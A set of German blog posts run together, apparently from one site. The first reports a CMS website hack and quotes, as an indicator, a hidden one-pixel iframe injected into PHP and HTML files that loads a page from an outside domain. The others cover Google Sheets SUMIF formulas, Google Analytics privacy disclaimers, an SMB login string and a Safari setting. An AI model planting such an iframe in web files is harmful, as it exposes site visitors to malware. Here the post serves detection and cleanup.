Immer wieder werden Webseiten gehackt. Dabei wird bisweilen Code eingeschleust, der Trojaner ausliefert oder auch einfach nur dem illegalen Linkaufbau dienen soll.
In den letzten Tagen haben wir bei einigen Webseiten folgende Fehler gefunden:

• Homepage war nicht erreichbar – stattdessen erschienen verschiedene Fehlermeldungen (php/ html)
• Webseite war zwar erreichbar, allerdings wurde das Design fehlerhaft dargestellt
• Im WordPress-, Drupal oder Joomla-Backend war das Einloggen nicht möglich

Die Ursache

Das Problem war schnell aufgespürt. Es hadenlte sich um ein iframe in vielen PHP und HTML Dateien, der eine fremde Seite eingebunden hat:

<iframe src=http://www.rufin-zanaga.org/stata.html WIDTH=1 HEIGHT=1 frameborder=0></IFRAME>

Der Code war direkt am Anfang einige PHP Scripte von verschiedenen CMS Systemen eingebaut. Betroffen waren WordPress, Drupal und Joomla.

Workaround

Zunächst sollte nachgeschaut werden, welche Dateien als letztes geändert wurden. Ordner mit den Bezeichnungen “log” oder “usage” sollten dabei zunächst unüberprüft bleiben. Sinnvoller ist es, sich auf *.php und *.html Dateien zu konzentrieren.

Bei unserem Problem kann die Tatzeit auf den 30 und 31. Januar sowie den 1. Februar eingegrenzt werden. Hat man selbst an den Daten nichts verändert, lohnt sich ein Blick mit einem Editor. Da kann es geschehen, das an erster Stelle folgendes iFrame erscheint:

<iframe src=http://www.rufin-zanaga.org/stata.html WIDTH=1 HEIGHT=1 frameborder=0></IFRAME>

Ist dies der Fall, kämpft man mit dem gleichen Problem wie wir. Nach dem Entfernen der entsprechenden Code-Zeile sollten die Besitzrechte des jeweiligen Ordners überprüft und ggf. reduziert werden.

Auf der verlinkten Webseite befindet sich aktuell kein Inhalt.

verlinkte Webseite: stata.html

Wie kann das passieren?

Wir sind derzeit noch am Forschen. Denkbar wäre ein Sicherheitsleck in PHP oder der Serversoftware oder den CMS. Unser Verdacht ist, dass es sich bei dem Übeltäter um Filezilla handelt, der als FTP-Client genutz wurde. Dieser stellt nämlich die einzige Verbindung zwischen allen Projekten dar. Filezilla speichert alle Passwörter unverschlüsselt auf dem Rechner und bietet damit eine Angriffsfläche für Trojaner. Wir sind uns nicht sicher, werden aber in Zukunft einen FTP Client nutzen, der Passwörter verschlüsselt speichert.

Auf jeden Fall raten wir allen betroffenen Nutzern dringend zu einem Virenscan – man kann nicht vorsichtig genug sein!

Weitere Informationen:

• Board-Gulli.com: Hack mehrere Webauftritte
• Filezilla speichert Passwörter unverschlüsselt ab – Lösungsansätze auf ganz-sicher.net

Mit dem Ausdruck SUMIF lassen sich Werte bei einer bestimmten Bedingung addieren.

SUMIF(Bereich,Kriterium,Summe_Bereich)

Sehr praktisch ist diese Formel, wenn man beispielsweise die Summen eines einzelnen Monats bestimmen möchte. Zwar wird in der Google-Hilfe von Suchkriterien gesprochen aber die Syntax erlaubt nur ein Kriterium.

Möchte man allerdings mehrere Kriterien angeben, sieht die Lösung anders aus. <h3>Lösung mittels Array</h3>

ARRAYFORMULA(SUMIF(A3:A7&B3:B7;”Fakt A”&”Fakt B”;C3:C7))

Nun wird die Summe über die Spalte C nur dann berechnet, wenn in der jeweiligen Zeile der Spalte A und der Spalte B der Wert “Fakt A” und “Fakt B” gefunden wird.

Summewenn mit 2 Kriterien

Der Vorteil an dieser Variante ist, sollte keine Übereinstimmung vorhanden sein, wird “0″ ausgegeben.

Lösung per Filter

In einen “Filter” können insgesamt 30 Bedingungen angegeben werden. Als Ergebnis erscheint eine gefilterte Version der Quellmatrix.

SUM(FILTER(C3:C7;B3:B7=”Fakt B”; SEARCH( “Fakt A” ;A3:A7 ) ) )

Bildet eine Summe aus der Spalte C (zwischen Zeile 3 und 7), wenn in Spalte B der “Fakt B” gefunden wird und die Suche über dem Spaltenbereich A3:A7 “Fakt A” findet. Natürlich könnte man auch die Suche durch eine weitere Bedienung (Bsp.: A3:A7=”Fakt A”) ersetzen. Aber eventuell möchte man ja im Dokument suchen?

"SUMIF" mit einem Filter

Enthält die Vergleichsspalte keinen passenden Ausdruck wird keine Lösung ausgegeben, es erscheint “N/A”.

=SUMIF(A1:A17;”<0″;A1:A17) oder etwas genauer =SUMIF(Auswahl;”Kriterium”;Summer_Auswahl) und auf englisch =SUMIF(range;”criteria”;sum_range)

Selbstverständlich wird diese Lösung bei “Insert” –> “Function” –> “More…” angezeigt aber der Blick in die Lieblingssuchmaschine ist halt meistens schneller :/

In Excel würde das im übrigen folgendermaßen aussehen: =SUMMEWENN(A1:A17;”<0″;A1:A17)

Das schöne an dieser Funktion, egal wie viele positive Zahlen in der Spalte vorhanden sind, es werde nur negativen Zahlen addiert. Somit kann ein Zeitbudget bis auf die letzte Minute reduziert werden und man erreicht am Ende die beliebte “0″. Eigentlich logisch, aber der Mensch freut sich der Lösung!

Wir stellen fest, dass oftmals mit den Ängsten der weniger internetaffinen Bürger gespielt wird und dass das Thema Datenklau zu gern zur Auflagenstärkung von Nachrichtenmagazinen genutzt wird. Dadurch entsteht schnell ein Missverhältnis zwischen Dichtung und Wahrheit. Unsere Aufgabe ist es deshalb, gerade in solchen Situationen besonnen und objektiv zu beraten.

Google Analytics entspricht den europäischen Richtlinien des Datenschutzes, nicht jedoch den deutschen. Ob nun eine IP-Adresse Aufschluss über die Daten einer natürlichen Person gibt, ist aktuell noch nicht eindeutig geklärt. Verschiedene Gerichte verlesen verschiedene Urteile.

Google Analytics hat nachgesteuert und bereits im Mai eine Browsererweiterung zur Verfügung gestellt, mit der die Erfassung von Surfverhalten unterbunden werden kann. Leider gilt diese Erweiterung nicht für die Browser Safari und Opera. Browser-Plugins wie AdBlock Plus für Firefox bieten schon seit längerem die Möglichkeit, sich von Google Analytics nicht erfassen zu lassen. AdBlock Plus filtert nicht nur Google Analytics sondern auf Wunsch jegliche Störenfriede, wie zum Beispiel nervige Bannerwerbung. AdBlock Plus ist momentan lediglich für Firefox verfügbar. Eine Version für Chrome soll folgen.

Gleichwohl gilt: Wer Tracking-Tools wie Google Analytics nutzt, sollte seine User darüber informieren, bestenfalls über eine Datenschutzerklärung im Impressum.

Diese Webseite benutzt Google Analytics, einen Webanalysedienst der
Google Inc. („Google“). Google Analytics verwendet sog. „Cookies“,
Textdateien, die auf Ihrem Computer gespeichert werden und die eine
Analyse der Benutzung der Webseite durch Sie ermöglichen. Die durch
den Cookie erzeugten Informationen über Ihre Benutzung dieser Webseite
(einschließlich Ihrer IP-Adresse) werden an einen Server von Google in
den USA übertragen und dort gespeichert. Google wird diese
Informationen benutzen, um Ihre Nutzung der Webseite auszuwerten, um
Reports über die Webseitenaktivitäten für die Webseitenbetreiber
zusammenzustellen und um weitere mit der Websitenutzung und der
Internetnutzung verbundene Dienstleistungen zu erbringen. Auch wird
Google diese Informationen gegebenenfalls an Dritte übertragen, sofern
dies gesetzlich vorgeschrieben oder soweit Dritte diese Daten im
Auftrag von Google verarbeiten. Google wird in keinem Fall Ihre
IP-Adresse mit anderen Daten von Google in Verbindung bringen. Sie
können die Installation der Cookies durch eine entsprechende
Einstellung Ihrer Browser Software verhindern; wir weisen Sie jedoch
darauf hin, dass Sie in diesem Fall gegebenenfalls nicht sämtliche
Funktionen dieser Website vollumfänglich nutzen können. Durch die
Nutzung dieser Webseite erklären Sie sich mit der Bearbeitung der über
Sie erhobenen Daten durch Google in der zuvor beschriebenen Art und
Weise und zu dem zuvor benannten Zweck einverstanden.

Zusätzlich empfehlen wir, die Kürzung der IP-Adressen in den Analytics-Code einzubauen. Darüber sollte im Disclaimer mithilfe des folgenden Absatzes informiert werden:

Der Erhebung und Nutzung Ihrer IP-Adresse durch Google Analytics
können Sie jederzeit mit Wirkung für die Zukunft widersprechen. Nähere
Informationen hierzu finden Sie auf dieser Seite. Wir weisen Sie darauf
hin, dass auf dieser Webseite Google Analytics um den Code
„gat._anonymizeIp();“ erweitert wurde, um eine anonymisierte Erfassung
von IP-Adressen zu gewährleisten.

Ebenfalls sollte ein Widerrufs- bzw. Widerspruchsrecht eingeräumt werden. Es ist zudem wichtig, darüber zu informieren, an welcher Stelle welche Daten zu welchem Zweck erhoben werden.

Wir empfehlen:
Wer Kennzahlen zur Analyse des Nutzerverhaltens erheben will, sollte im Vorfeld genau wissen, welche Kennzahlen zu welchem Zweck benötigt werden. Vielleicht reicht ein kleines Auswertungsprogramm bereits aus, um die gewünschten Daten jenseits der IP-Adress-Speicherung zu erheben. Wer Google Analytics aufgrund der einfachen Handhabung weiterhin nutzen möchte, kann sich mithilfe der oben genannten Empfehlungen absichern. Ein Beratungsgespräch mit einem Rechtsanwalt aus dem Fachbereich Internet/ Datenschutz sei ebenfalls angeraten.

Es besteht kein Grund, in Panik zu verfallen. Jedoch überlegen Sie gut, was Sie mit den erhobenen Daten bezwecken. Dann beantwortet sich im Zweifelsfall auch die Frage nach der Nutzung von Google Analytics von selbst.

Weitere wichtige Informationen zum datenschutzkonformen Einsatz von Google Analytics finden Sie hier.

Folgende Vorgehensweise war zielführend:
smb://[username]@[smb_ip]/[freigabe]

Dann öffnete sich ein Popup mit Username und Passwort:
Username: [freigabe]\[username]
Viel Erfolg!

defaults write com.apple.Safari TargetedClicksCreateTabs -bool true

Falls man das wieder rückgängig machen möchte, einfach folgenden Befehl eingeben:

defaults write com.apple.Safari TargetedClicksCreateTabs -bool fals

Endlich arbeitet Safari damit so wie Firefox was das Öffnen von Links angeht.

Den Trick habe ich übrigens bei themacnewbie gefunden.